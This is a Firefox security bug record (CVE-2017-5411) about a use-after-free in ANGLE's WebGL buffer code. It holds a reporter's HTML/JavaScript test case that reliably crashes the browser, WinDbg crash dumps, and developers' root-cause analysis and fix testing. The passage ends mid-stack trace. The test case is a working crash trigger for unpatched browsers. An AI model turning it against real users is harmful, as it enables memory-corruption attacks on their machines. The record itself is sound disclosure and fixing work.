Closed Bug 1325511 (CVE-2017-5411) Opened 8 years ago Closed 8 years ago

libGLES - Use After Free in Buffer11::updateBufferStorage()

Categories

(Core :: Graphics: CanvasWebGL, defect)

Product:
Core
Component:
Graphics: CanvasWebGL
Version:
53 Branch
Platform:
x86
Windows 10
Type:
defect
Priority:
Not set
Severity:
critical

Tracking

()

Status:
RESOLVED FIXED
Milestone:
mozilla54
Tracking Flags:
Tracking Status
firefox-esr45 --- unaffected
firefox51 --- wontfix
firefox52 + fixed
firefox-esr52 --- fixed
firefox53 + fixed
firefox54 + fixed

People

(Reporter: loobenyang, Assigned: milan)

References

Details

(5 keywords, Whiteboard: [post-critsmash-triage][adv-main52+])

Attachments

(5 files)

UAF_updateBufferStorage_Repro.html
966 bytes, text/html
Details
Graphics_aboutsupport.JPG
142.09 KB, image/jpeg
Details
graphicsSupport2_intel_Nvidia.JPG
109.04 KB, image/jpeg
Details
Speculative, mark as used earlier.
831 bytes, patch
mtseng
: review+
jcristau
: approval-mozilla-aurora+
jcristau
: approval-mozilla-beta+
gchang
: approval-mozilla-esr45+
abillings
: sec-approval+
Details | Diff | Splinter Review
UAF_updateBufferStorage_POC_EIP_41414141.html
1.06 KB, text/html
Details
Reproduction test case: <html><body ><canvas id="test"></canvas></body><script> var canvas0=document.getElementById("test"); var gl = canvas0.getContext("webgl2"); var buffer0= gl.createBuffer(); gl.bindBuffer(gl.UNIFORM_BUFFER, buffer0); gl.bindBuffer(gl.ARRAY_BUFFER, buffer0); var myImage = new Image();myImage.src = "non.jpg";myImage.onerror = function(){ canvas0.width = "418";} var observer0 =new MutationObserver(function listener1(event) { if( typeof listener1.counter == "undefined"){listener1.counter = 0;} if(listener1.counter > 3) return; listener1.counter++; var vertices = [ 1.0, 1.0, 0.0, -1.0, 1.0, 0.0, 1.0, -1.0, 0.0, -1.0, -1.0, 0.0]; gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vertices), gl.STATIC_DRAW);; canvas0.width = "418"; gl.bufferData(gl.UNIFORM_BUFFER, 2626,gl.STATIC_COPY); }); observer0.observe(canvas0, {attributes: true}); var timeout0 = setTimeout(function(){ gl.bufferData(gl.ARRAY_BUFFER, 2167,gl.STREAM_DRAW); }, 74); </script></html> Steps to reproduce: 1. Open the test case UAF_updateBufferStorage_Repro.html in Firefox browser. Firefox version: 53.0a1 (2016-12-22) (32-bit) OS: Windows 10 Stack trace: (615c.6088): Access violation - code c0000005 (!!! second chance !!!) eax=e5e5e5e5 ebx=11ab9280 ecx=11ab9280 edx=0dc8ba00 esi=11afc280 edi=11afc280 eip=65181b4d esp=010fdea4 ebp=010fded8 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 libGLESv2!rx::Buffer11::updateBufferStorage+0xdb: 65181b4d ff5008 call dword ptr [eax+8] ds:002b:e5e5e5ed=???????? 2:059> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: libGLESv2!rx::Buffer11::updateBufferStorage+db [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\gfx\angle\src\libangle\renderer\d3d\d3d11\buffer11.cpp @ 807] 65181b4d ff5008 call dword ptr [eax+8] EXCEPTION_RECORD: (.exr -1) ExceptionAddress: 65181b4d (libGLESv2!rx::Buffer11::updateBufferStorage+0x000000db) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: e5e5e5ed Attempt to read from address e5e5e5ed FAULTING_THREAD: 00006088 PROCESS_NAME: firefox.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: e5e5e5ed READ_ADDRESS: e5e5e5ed FOLLOWUP_IP: libGLESv2!rx::Buffer11::updateBufferStorage+db [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\gfx\angle\src\libangle\renderer\d3d\d3d11\buffer11.cpp @ 807] 65181b4d ff5008 call dword ptr [eax+8] NTGLOBALFLAG: 400 APPLICATION_VERIFIER_FLAGS: 0 APP: firefox.exe ANALYSIS_VERSION: 10.0.10240.9 x86fre BUGCHECK_STR: INVALID_POINTER_READ_IN_CALL DEFAULT_BUCKET_ID: INVALID_POINTER_READ_IN_CALL LAST_CONTROL_TRANSFER: from 6518175f to 65181b4d STACK_TEXT: 010fded8 6518175f 010fdefc 11ab9280 00000000 libGLESv2!rx::Buffer11::updateBufferStorage+0xdb 010fdf08 65180d5c 010fdf20 00000000 1189ac40 libGLESv2!rx::Buffer11::getBufferStorage+0x85 010fdf34 65180e2e 010fdf50 00000000 1189ac40 libGLESv2!rx::Buffer11::getSystemMemoryStorage+0x13 010fdf64 65180cad 010fdf88 00008892 1159b000 libGLESv2!rx::Buffer11::setSubData+0x94 010fdf94 65213ca0 010fdfbc 00008892 1159b000 libGLESv2!rx::Buffer11::setData+0x29 010fdfd4 6514a85d 00008892 00000877 1159b000 libGLESv2!gl::Context::bufferData+0x34 010fdff0 67e716e5 00008892 00000877 1159b000 libGLESv2!gl::BufferData+0x40 010fe010 682c7787 00008892 00000877 1159b000 xul!mozilla::gl::GLContext::fBufferData+0x1a 010fe070 682ce0fd 00008892 00000877 1159b000 xul!mozilla::WebGLBuffer::BufferData+0xc3 010fe0a8 682ce03e 00008892 00000877 1159b000 xul!mozilla::WebGLContext::BufferDataImpl+0x48 010fe0e0 6817cb2e 00008892 00000877 00000000 xul!mozilla::WebGLContext::BufferData+0x82 010fe160 672dee29 075a2000 010fe1b8 118db800 xul!mozilla::dom::WebGL2RenderingContextBinding::bufferData+0x2d8 010fe204 672de265 00000000 075a2000 00000000 xul!js::InternalCallOrConstruct+0x5b9 010fe228 672eb010 075a2000 00000001 11b3d200 xul!InternalCall+0xb5 010feb68 67864471 010fec80 010fec80 010fec80 xul!Interpret+0x5990 010febf8 672deb00 075a2000 010fec70 010fed30 xul!js::RunScript+0x231 010fec94 672cbfb8 00000000 010fedec 075a2000 xul!js::InternalCallOrConstruct+0x290 010fecbc 672cb707 010fee38 010feed8 010fee08 xul!js::Call+0x81 010fedb4 671916d5 010feed8 010fee38 010fee08 xul!JS::Call+0x107 010feeac 67191550 075a2000 010feed8 11ad2adc xul!mozilla::dom::Function::Call+0x14f 010ff004 6719133d 010ff038 11ad2adc 010ff080 xul!mozilla::dom::Function::Call<nsCOMPtr<nsISupports> >+0xc1 010ff160 67192647 11ac8520 10f3dce0 11a82010 xul!nsGlobalWindow::RunTimeoutHandler+0x148 010ff204 67190e54 11ac8520 0000000d 11ac8520 xul!mozilla::dom::TimeoutManager::RunTimeout+0x2b8 010ff218 672b6373 11a6d910 11ac8520 11a82010 xul!mozilla::dom::`anonymous namespace'::TimerCallback+0x1f 010ff290 672b62c4 115285c0 115285f4 00000000 xul!nsTimerImpl::Fire+0x9b 010ff2cc 67193ae0 11a82010 0170e160 090d7a04 xul!nsTimerEvent::Run+0x45 010ff2f0 67193a63 68f96ac4 010ff36c 67269171 xul!mozilla::ThrottledEventQueue::Inner::ExecuteRunnable+0x76 010ff2fc 67269171 11ab9240 01704980 6974b601 xul!mozilla::ThrottledEventQueue::Inner::Executor::Run+0xf 010ff36c 67194b98 0170e160 6974b601 010ff387 xul!nsThread::ProcessNextEvent+0x14d 010ff388 672678a7 010ff560 01704970 010ff560 xul!NS_ProcessNextEvent+0x16 010ff3b0 67c133d1 010ff560 010ff560 00000000 xul!mozilla::ipc::MessagePump::Run+0xcc 010ff3cc 673454f9 010ff560 c0f8122d 090d7a00 xul!mozilla::ipc::MessagePumpForChildProcess::Run+0x58 010ff404 673454c8 0170e160 00000002 090d7a00 xul!MessageLoop::RunHandler+0x20 010ff424 67535f2e 01704970 010ff560 010ff444 xul!MessageLoop::Run+0x19 010ff434 67535cbd 090d7a00 01704970 010ff458 xul!nsBaseAppShell::Run+0x34 010ff444 68a23084 090d7a00 01704970 090d7a00 xul!nsAppShell::Run+0x26 010ff458 67c1338f 010ff560 01704970 010ff4a0 xul!XRE_RunAppShell+0x26 010ff468 673454f9 010ff560 c0f81289 00000003 xul!mozilla::ipc::MessagePumpForChildProcess::Run+0x16 010ff4a0 673454c8 0172a000 00000001 69019200 xul!MessageLoop::RunHandler+0x20 010ff4c0 68a22d9b 01701040 0000000b 00000000 xul!MessageLoop::Run+0x19 010ff62c 002b9ce9 0000000b 01701040 010ff64c xul!XRE_InitChildProcess+0x55f 010ff658 002b7e22 6f1672e4 6f1672ec 013c7298 firefox!content_process_main+0x70 010ff9e4 002b5e37 0000000c ffcd16c0 013cbd50 firefox!wmain+0x4e92 010ffa2c 772b38f4 00e4f000 772b38d0 d8aedd39 firefox!__scrt_common_main_seh+0xf9 010ffa40 77d65de3 00e4f000 d87b03d4 00000000 KERNEL32!BaseThreadInitThunk+0x24 010ffa88 77d65dae ffffffff 77d8b7e7 00000000 ntdll!__RtlUserThreadStart+0x2f 010ffa98 00000000 002b5ead 00e4f000 00000000 ntdll!_RtlUserThreadStart+0x1b FAULTING_SOURCE_LINE: c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\gfx\angle\src\libangle\renderer\d3d\d3d11\buffer11.cpp FAULTING_SOURCE_FILE: c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\gfx\angle\src\libangle\renderer\d3d\d3d11\buffer11.cpp FAULTING_SOURCE_LINE_NUMBER: 807 FAULTING_SOURCE_CODE: 803: latestBuffer = stagingBuffer; 804: } 805: 806: CopyResult copyResult = CopyResult::NOT_RECREATED; > 807: ANGLE_TRY_RESULT(storage->copyFromStorage(latestBuffer, sourceOffset, storageSize, 0), 808: copyResult); 809: // If the D3D buffer has been recreated, we should update our serial. 810: if (copyResult == CopyResult::RECREATED) 811: { 812: updateSerial(); SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: libglesv2!rx::Buffer11::updateBufferStorage+db FOLLOWUP_NAME: MachineOwner MODULE_NAME: libGLESv2 IMAGE_NAME: libGLESv2.dll DEBUG_FLR_IMAGE_TIMESTAMP: 585bd734 STACK_COMMAND: ~59s ; kb BUCKET_ID: INVALID_POINTER_READ_IN_CALL_libglesv2!rx::Buffer11::updateBufferStorage+db PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_IN_CALL_libglesv2!rx::Buffer11::updateBufferStorage+db FAILURE_PROBLEM_CLASS: INVALID_POINTER_READ_IN_CALL FAILURE_EXCEPTION_CODE: c0000005 FAILURE_IMAGE_NAME: libGLESv2.dll FAILURE_FUNCTION_NAME: rx::Buffer11::updateBufferStorage FAILURE_SYMBOL_NAME: libGLESv2.dll!rx::Buffer11::updateBufferStorage FAILURE_BUCKET_ID: INVALID_POINTER_READ_IN_CALL_c0000005_libGLESv2.dll!rx::Buffer11::updateBufferStorage ANALYSIS_SOURCE: UM FAILURE_ID_HASH_STRING: um:invalid_pointer_read_in_call_c0000005_libglesv2.dll!rx::buffer11::updatebufferstorage FAILURE_ID_HASH: {7530445f-e192-bd84-04e5-903b912a400c} Followup: MachineOwner --------- Variables shows that the storage object had been freed: storage 0x11ab9280 class rx::Buffer11::BufferStorage * angle::NonCopyable class angle::NonCopyable __vfptr 0xe5e5e5e5 mRenderer 0xe5e5e5e5 class rx::Renderer11 * mRevision 0xe5e5e5e5 mUsage 0n-437918235 (No matching enumerant) mBufferSize 0xe5e5e5e5 sourceOffset 0 storageSize 0xa42 ANGLE_LOCAL_VAR class gl::ErrorOrResult<rx::Buffer11::BufferStorage *> ANGLE_LOCAL_VAR class gl::ErrorOrResult<enum rx::`anonymous namespace'::CopyResult> ANGLE_LOCAL_VAR class gl::ErrorOrResult<rx::Buffer11::NativeStorage *> copyResult <Value unavailable> latestBuffer 0x11afc280 class rx::Buffer11::BufferStorage * rx::BufferD3D::mNextSerial <Value unavailable> this 0x11afc280 class rx::Buffer11 * __vtcast_rx::Buffer11::NativeStorage class rx::Buffer11::NativeStorage rx::BufferD3D class rx::BufferD3D mRenderer 0x68f8ec90 class rx::Renderer11 * mSize 0x68f8bc90 mMappedStorage 0x00000000 class rx::Buffer11::BufferStorage * mBufferStorages class std::array<rx::Buffer11::BufferStorage *,8> mDeallocThresholds class std::array<unsigned int,8> mIdleness class std::array<unsigned int,8> mConstantBufferRangeStoragesCache class std::map<long,rx::Buffer11::ConstantBufferCacheEntry,std::less<long>,std::allocator<std::pair<long const ,rx::Buffer11::ConstantBufferCacheEntry> > > mConstantBufferStorageAdditionalSize 0 mMaxConstantBufferLruCount 0 mStaticBroadcastChannel class angle::BroadcastChannel mDirectBroadcastChannel class angle::BroadcastChannel
Can't reproduce on a 32-bit 2016-12-22 nightly build on Windows 7. Will try on Win10 tomorrow if someone doesn't beat me to it.
Group: core-security → gfx-core-security
Flags: sec-bounty?
Summary: WebGL - Use After Free in Buffer11::updateBufferStorage() → libGLES - Use After Free in Buffer11::updateBufferStorage()
Is there anyone working on it? It can still be triggered instantly in today's nightly build. 53.0a1 (2017-01-12) (32-bit) (62e8.44b0): Access violation - code c0000005 (!!! second chance !!!) eax=e5e5e5e5 ebx=117f0800 ecx=117f0800 edx=0d991300 esi=11145b20 edi=11145b20 eip=68f11d48 esp=00d3dc4c ebp=00d3dc80 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 libGLESv2!rx::Buffer11::updateBufferStorage+0xdb: 68f11d48 ff5008 call dword ptr [eax+8] ds:002b:e5e5e5ed=????????
I can't reproduce on Windows 10. What's your graphics section of about:support?
Attached image Graphics_aboutsupport.JPG —
(In reply to Milan Sreckovic [:milan] from comment #3) > I can't reproduce on Windows 10. What's your graphics section of > about:support? Screenshot for my about:support has been attached in Graphics_aboutsupport.JPG. Did you run Windows 10 from a real PC or a virtual machine? virtual machine does not have graphic card, might not be able to excerse the WebGL code.
Right - I'm on Windows 10, Intel+Nvidia. It'd be interesting to see if this is hardware specific, or just intermittent, but given that it happens for you all the time and not for others that started, it could be hardware specific (or at least timing dependent.)
Looking at the stack (recall that "storage" is what shows up freed): [1] Buffer11::getSystemMemoryStorage calls getBufferStorage with BUFFER_USAGE_SYSTEM_MEMORY [2] This allocates or sets "storage" from mBufferStorages[BUFFER_USAGE_SYSTEM_MEMORY] [3] We call Buffer11::updateBufferStorage with storage [4] Assuming we get into the nested if condition, where we call Buffer11::getStagingStorage() [5] This calls getBufferStorage with BUFFER_USAGE_STAGINGS [6] Which eventually calls markBufferUsage with BUFFER_USAGE_STAGINGS [7] This may call checkForDeallocation with BUFFER_USAGE_SYSTEM_MEMORY Note that we haven't called markBufferUsage with BUFFER_USAGE_SYSTEM_MEMORY (which would have happened in [1], but only after [3] completes), which means that we haven't called mIdleness[BUFFER_USAGE_SYSTEM_MEMORY] = 0, which means that [7] could decide to deallocate that storage. And we end up with UAF. I have no proof of this, I can't reproduce the problem :) Looben, can you do local builds, or would you mind running a treeherder build I put together for you?
(In reply to Milan Sreckovic [:milan] from comment #8) > Looking at the stack (recall that "storage" is what shows up freed): > > [1] Buffer11::getSystemMemoryStorage calls getBufferStorage with > BUFFER_USAGE_SYSTEM_MEMORY > [2] This allocates or sets "storage" from > mBufferStorages[BUFFER_USAGE_SYSTEM_MEMORY] > [3] We call Buffer11::updateBufferStorage with storage > [4] Assuming we get into the nested if condition, where we call > Buffer11::getStagingStorage() > [5] This calls getBufferStorage with BUFFER_USAGE_STAGINGS > [6] Which eventually calls markBufferUsage with BUFFER_USAGE_STAGINGS > [7] This may call checkForDeallocation with BUFFER_USAGE_SYSTEM_MEMORY > > Note that we haven't called markBufferUsage with > BUFFER_USAGE_SYSTEM_MEMORY (which would have happened in [1], but only after > [3] completes), which means that we haven't called > mIdleness[BUFFER_USAGE_SYSTEM_MEMORY] = 0, which means that [7] could decide > to deallocate that storage. > > And we end up with UAF. > > I have no proof of this, I can't reproduce the problem :) > > Looben, can you do local builds, or would you mind running a treeherder > build I put together for you? Sure, please let me know once you done generating a treeherder build.
This will have the build with the possible fix: https://treeherder.mozilla.org/#/jobs?repo=try&revision=2ad6f337c80957834fd20889350566260fda12d1 If that doesn't fix it (or even if it does, to confirm what I think could be happening), this is a debug build that should hopefully assert instead of crashing: https://treeherder.mozilla.org/#/jobs?repo=try&revision=8a2fd7057552da4e240b21688b271cbaff27d256 Give them until tomorrow to be ready :)
(In reply to Milan Sreckovic [:milan] from comment #11) > This will have the build with the possible fix: > https://treeherder.mozilla.org/#/ > jobs?repo=try&revision=2ad6f337c80957834fd20889350566260fda12d1 > > If that doesn't fix it (or even if it does, to confirm what I think could be > happening), this is a debug build that should hopefully assert instead of > crashing: > https://treeherder.mozilla.org/#/ > jobs?repo=try&revision=8a2fd7057552da4e240b21688b271cbaff27d256 > > Give them until tomorrow to be ready :) Just tried with the win8 64bit op build from https://treeherder.mozilla.org/#/jobs?repo=try&revision=2ad6f337c80957834fd20889350566260fda12d1 with the exact same test case, could not reproduce it. To make sure, I downloaded a normal 64 bit nightly and can reproduce it: 53.0a1 (2017-01-16) (64-bit) (4624.405c): Access violation - code c0000005 (!!! second chance !!!) libGLESv2!rx::Buffer11::updateBufferStorage+0x330: 00007ffe`37fa71e4 41ff5210 call qword ptr [r10+10h] ds:e5e5e5e5`e5e5e5f5=????????????????
(In reply to Milan Sreckovic [:milan] from comment #11) > This will have the build with the possible fix: > https://treeherder.mozilla.org/#/ > jobs?repo=try&revision=2ad6f337c80957834fd20889350566260fda12d1 > > If that doesn't fix it (or even if it does, to confirm what I think could be > happening), this is a debug build that should hopefully assert instead of > crashing: > https://treeherder.mozilla.org/#/ > jobs?repo=try&revision=8a2fd7057552da4e240b21688b271cbaff27d256 > > Give them until tomorrow to be ready :) In the given debug build, it did hit an assert: err: rx::Buffer11::updateBufferStorage(803): ! Assert failed in rx::Buffer11::updateBufferStorage(803): renderer == storage->mRenderer
Great help, thanks Looben!
Daniel, this is a bug in ANGLE, so possibly reproducible in Chrome as well. Either way, can you help opening a Chrome security bug and maybe CC one of their security people on this bug, or we can copy the details?
Flags: needinfo?(dveditz)
Looben - when you get the assertion you mention in comment 13, can you post here the full stack it gives you?
Flags: needinfo?(loobenyang)
(In reply to Milan Sreckovic [:milan] from comment #16) > Looben - when you get the assertion you mention in comment 13, can you post > here the full stack it gives you? Sure. But windbg would not resolve symbols of this build, not sure if it's any good for you. err: rx::Buffer11::updateBufferStorage(803): ! Assert failed in rx::Buffer11::updateBufferStorage(803): renderer == storage->mRenderer (2128.5814): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!) ucrtbase!abort+0x4e: 00007ffe`837398fe cd29 int 29h 2:061> !analyze -v FAULTING_IP: ucrtbase!abort+4e 00007ffe`837398fe cd29 int 29h EXCEPTION_RECORD: (.exr -1) ExceptionAddress: 00007ffe837398fe (ucrtbase!abort+0x000000000000004e) ExceptionCode: c0000409 (Security check failure or stack buffer overrun) ExceptionFlags: 00000001 NumberParameters: 1 Parameter[0]: 0000000000000007 Subcode: 0x7 FAST_FAIL_FATAL_APP_EXIT FAULTING_THREAD: 00005814 BUGCHECK_STR: FATAL_APP_EXIT DEFAULT_BUCKET_ID: FATAL_APP_EXIT PROCESS_NAME: firefox.exe ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_PARAMETER1: 0000000000000007 APP: firefox.exe ANALYSIS_VERSION: 10.0.10240.9 amd64fre LAST_CONTROL_TRANSFER: from 00007ffe8373b5c1 to 00007ffe837398fe STACK_TEXT: 00000082`717fca60 00007ffe`8373b5c1 : 00007ffe`00000003 00000000`00000003 00007ffe`356faa88 00007ffe`356fa240 : ucrtbase!abort+0x4e 00000082`717fca90 00007ffe`8373b8eb : 00000000`00000323 00007ffe`356faa88 00000082`717fcb18 0000020c`0000000f : ucrtbase!`anonymous namespace'::argument_list<char>::expand_if_necessary+0x11e9 00000082`717fcad0 00007ffe`354eb5e8 : 00000082`717fcc00 00000082`717fcb80 0000020c`4d707000 00007ffe`356faa60 : ucrtbase!wassert+0x5b 00000082`717fcb00 00007ffe`354d4943 : 0000020c`3f21de40 00000082`717fcc50 0000020c`3f21de40 00000000`00000000 : libGLESv2!glWaitSync+0x765a0 00000082`717fcbc0 00007ffe`354d9576 : 00000000`00000000 0000020c`3f21de40 00000082`717fcd00 00000000`00000877 : libGLESv2!glWaitSync+0x5f8fb 00000082`717fcc30 00007ffe`354e8612 : 00000000`00000000 00007ffe`2d01f9a5 00000082`717fcd48 00000000`00000000 : libGLESv2!glWaitSync+0x6452e 00000082`717fcc80 00007ffe`354e6047 : 0000020c`4d4f4000 0000020c`3f21de40 00000000`00000001 0000020c`4d4f4000 : libGLESv2!glWaitSync+0x735ca 00000082`717fcd50 00007ffe`35635f1a : 00000000`00008892 0000020c`4d752470 00000082`717fce30 00007ffe`35462321 : libGLESv2!glWaitSync+0x70fff 00000082`717fcda0 00007ffe`3563606e : 00000000`00008892 0000020c`4d4f4000 0000020c`4d752470 0000020c`4d75b000 : libGLESv2!glWaitSync+0x1c0ed2 00000082`717fcdf0 00007ffe`3545af32 : 0000020c`4d75b000 00000000`00000877 0000020c`4d4f4000 00000000`000088e0 : libGLESv2!glWaitSync+0x1c1026 00000082`717fce50 00007ffe`29406851 : 0000020c`4d4f4000 0000020c`4d76e000 00000000`00008892 00000000`00000877 : libGLESv2!gl::BufferData+0x6e 00000082`717fce90 00007ffe`294032ac : 0000020c`4d4f4000 00000000`00008892 00000000`00000877 0000020c`4d3cc858 : xul!PrintJSStack+0x2468b1 00000082`717fcec0 00007ffe`2a3d3246 : 00000082`717fcf30 00000000`000088e0 00000082`717fcf71 0000020c`4d3cc858 : xul!PrintJSStack+0x24330c 00000082`717fcf00 00007ffe`2a3e42bc : 00000000`00008892 0000020c`4d4f4000 ffffffff`fffffffe 0000020c`4d3cc880 : xul!mozilla_dump_image+0xdb6426 00000082`717fcfd0 00007ffe`2a3e412a : 00000000`00000005 00000000`00000000 00000082`717fd110 00007ffe`2c4f0d96 : xul!mozilla_dump_image+0xdc749c 00000082`717fd040 00007ffe`29f3fed8 : 00000000`00000005 00000082`717fd400 ffffffff`fffffffe 00007ffe`00005814 : xul!mozilla_dump_image+0xdc730a 00000082`717fd0c0 00007ffe`2a32d986 : 0000020c`45610088 00000082`717fd440 0000020c`45102000 00007ffe`2d691540 : xul!mozilla_dump_image+0x9230b8 00000082`717fd3e0 00007ffe`2ce7d4a3 : 0000020c`45102000 00007ffe`2a32d7cc 0000020c`4d3cc800 0000020c`45610088 : xul!mozilla_dump_image+0xd10b66 00000082`717fd470 00007ffe`2ce89359 : 0000020c`4d3bf800 00000000`00000000 00000082`717fd528 0000020c`456100a8 : xul!XRE_ParseAppData+0x12e86e3 00000082`717fd4d0 00007ffe`2ce8cdd8 : 0000020c`4d60c240 fffe020c`4ce952e0 0000020c`45102000 0000020c`4cf4712e : xul!XRE_ParseAppData+0x12f4599 00000082`717fd570 00007ffe`2ce96ce2 : 0000020c`45102208 00000000`00000000 0000020c`45102208 0000020c`45102208 : xul!XRE_ParseAppData+0x12f8018 00000082`717fe3e0 00007ffe`2ce89400 : 0000020c`45102000 00000082`717fe558 0000020c`45102000 00000082`717fe618 : xul!XRE_ParseAppData+0x1301f22 00000082`717fe510 00007ffe`2ce7d284 : 00000082`717fe618 fffe020c`4ce8a0c0 00000000`00000000 00000082`717fe550 : xul!XRE_ParseAppData+0x12f4640 00000082`717fe5b0 00007ffe`2c4f1747 : 00000082`717fe728 0000020c`45102000 00000082`717fe8b0 0000020c`45102000 : xul!XRE_ParseAppData+0x12e84c4 00000082`717fe5e0 00007ffe`2a17792e : 0000020c`4d608e40 00000082`717fe8b0 00000082`717fe760 00007ffe`2a330d99 : xul!XRE_ParseAppData+0x95c987 00000082`717fe6e0 00007ffe`29738c88 : 00000082`717feb10 0000020c`4d7a8580 00000082`717fe8b0 00007ffe`2d58b828 : xul!mozilla_dump_image+0xb5ab0e 00000082`717fe860 00007ffe`29769089 : 0000020c`4d3bf108 00000000`00000002 0000020c`4d3bf000 00000082`717feb40 : xul!mozilla_dump_image+0x11be68 00000082`717fea90 00007ffe`2982f394 : 0000020c`4c939b80 0000020c`4d752fb0 00000000`00000000 0000020c`4d753040 : xul!mozilla_dump_image+0x14c269 00000082`717fed10 00007ffe`29831e94 : 0000020c`4d752601 0000020c`4d752620 00004434`00000001 0000020c`4d3bf110 : xul!mozilla_dump_image+0x212574 00000082`717fee60 00007ffe`287a273a : 000001ba`4a76b232 0000020c`4d4f3078 00000000`00000000 0000020c`4d7526b0 : xul!mozilla_dump_image+0x215074 00000082`717fee90 00007ffe`28799066 : 0000020c`4cb63f88 00007ffe`3b273252 00000000`00000001 0000020c`3f214a00 : xul!XRE_AddStaticComponent+0x2674e 00000082`717feff0 00007ffe`2878d701 : 0000020c`4cb63f80 00000082`717ff0b8 00000000`00000001 00000000`00000000 : xul!XRE_AddStaticComponent+0x1d07a 00000082`717ff060 00007ffe`2879776d : 00000082`717ff101 0000020c`4d4f3078 00000082`717ff1a0 0000020c`3f240800 : xul!XRE_AddStaticComponent+0x11715 00000082`717ff0f0 00007ffe`28793dab : 0000020c`3f293040 00000082`717ff1b9 00000000`00000000 00000000`00000000 : xul!XRE_AddStaticComponent+0x1b781 00000082`717ff120 00007ffe`287d25ff : 0000020c`3f293040 00007ffe`28cc095e 0000020c`456e11f0 0000020c`3f214a01 : xul!XRE_AddStaticComponent+0x17dbf 00000082`717ff220 00007ffe`28cfacab : 0000020c`45d64e01 0000020c`3f214a10 00000082`717ff600 00007ffe`3b273252 : xul!NS_StringSetIsVoid+0x5edb 00000082`717ff260 00007ffe`28cfaee4 : 00000082`717ff620 00000082`717ff301 00000082`717ff620 00007ffe`2871bac9 : xul!soundtouch::SoundTouch::operator=+0x28513 00000082`717ff2c0 00007ffe`28cc70da : 00000082`717ff620 00000082`717ff3f0 00000000`00000034 00007ffe`3b283e35 : xul!soundtouch::SoundTouch::operator=+0x2874c 00000082`717ff300 00007ffe`28cc6e02 : 0000020c`45138a58 0000020c`4513ec00 00007ffe`2e72fd90 00007ffe`28ccb9dd : xul!mozilla::net::LoadInfo::TriggeringPrincipal+0x491e8e 00000082`717ff330 00007ffe`2af35a0b : 0000020c`4513ec40 00007ffe`2a9c9c16 00000000`00000002 00000082`717ff3f0 : xul!mozilla::net::LoadInfo::TriggeringPrincipal+0x491bb6 00000082`717ff380 00007ffe`2afa9b8d : 0000020c`4513ec40 0000020c`4513ec40 00000082`717ff620 00000000`00000034 : xul!mozilla_dump_image+0x1918beb 00000082`717ff3c0 00007ffe`2bb856d9 : 00000082`717ff620 00007ffe`2dd553c8 0000020c`4513ebe0 0000020c`3f214a10 : xul!mozilla_dump_image+0x198cd6d 00000082`717ff400 00007ffe`28cfadb7 : 0000020c`457fced0 00007ffe`2d1c99b0 0000020c`3f289000 00000000`00010011 : xul!XRE_RunAppShell+0x59 00000082`717ff440 00007ffe`28cc70da : 00000082`717ff620 00000082`717ff600 00000000`00000034 00000082`717ff4a0 : xul!soundtouch::SoundTouch::operator=+0x2861f 00000082`717ff480 00007ffe`28cc6e02 : 00007ffe`2d3c1ab8 00007ffe`287d9684 00007ff7`22dd4974 00007ffe`2bb7a4aa : xul!mozilla::net::LoadInfo::TriggeringPrincipal+0x491e8e 00000082`717ff4b0 00007ffe`2bb8503c : 0000020c`3f289000 00000082`717ff600 00000000`00000034 0000020c`3f207580 : xul!mozilla::net::LoadInfo::TriggeringPrincipal+0x491bb6 00000082`717ff500 00007ff7`22dd1d45 : 00000000`0000000b 00000000`0000000c 0000020c`3f202080 00000000`0000000b : xul!XRE_InitChildProcess+0x888 00000082`717ff7c0 00007ff7`22dd18f9 : 0000020c`3f202080 0000020c`3f202080 00000000`0000000c 0000020c`3f202080 : firefox+0x1d45 00000082`717ff820 00007ff7`22dd266f : 00000000`0000000c 0000020c`3f2020f0 00000000`00000000 00007ffe`87fa2540 : firefox+0x18f9 00000082`717ff8a0 00007ff7`22e112e9 : 00007ffe`837b59f4 00000000`00000000 00000000`0000000d 00000082`7159c000 : firefox+0x266f 00000082`717ff900 00007ffe`86dc8102 : 00007ff7`22e113a0 00000082`7159c000 00000000`00000000 00000000`00000000 : firefox!TargetNtUnmapViewOfSection+0x6a9d 00000082`717ff940 00007ffe`87f8c5b4 : 00007ffe`86dc80e0 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x22 00000082`717ff970 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x34 FOLLOWUP_IP: ucrtbase!abort+4e 00007ffe`837398fe cd29 int 29h SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: ucrtbase!abort+4e FOLLOWUP_NAME: MachineOwner MODULE_NAME: ucrtbase IMAGE_NAME: ucrtbase.dll DEBUG_FLR_IMAGE_TIMESTAMP: 5632d193 STACK_COMMAND: ~61s ; kb BUCKET_ID: FATAL_APP_EXIT_ucrtbase!abort+4e PRIMARY_PROBLEM_CLASS: FATAL_APP_EXIT_ucrtbase!abort+4e FAILURE_PROBLEM_CLASS: FATAL_APP_EXIT FAILURE_EXCEPTION_CODE: c0000409 FAILURE_IMAGE_NAME: ucrtbase.dll FAILURE_FUNCTION_NAME: abort FAILURE_SYMBOL_NAME: 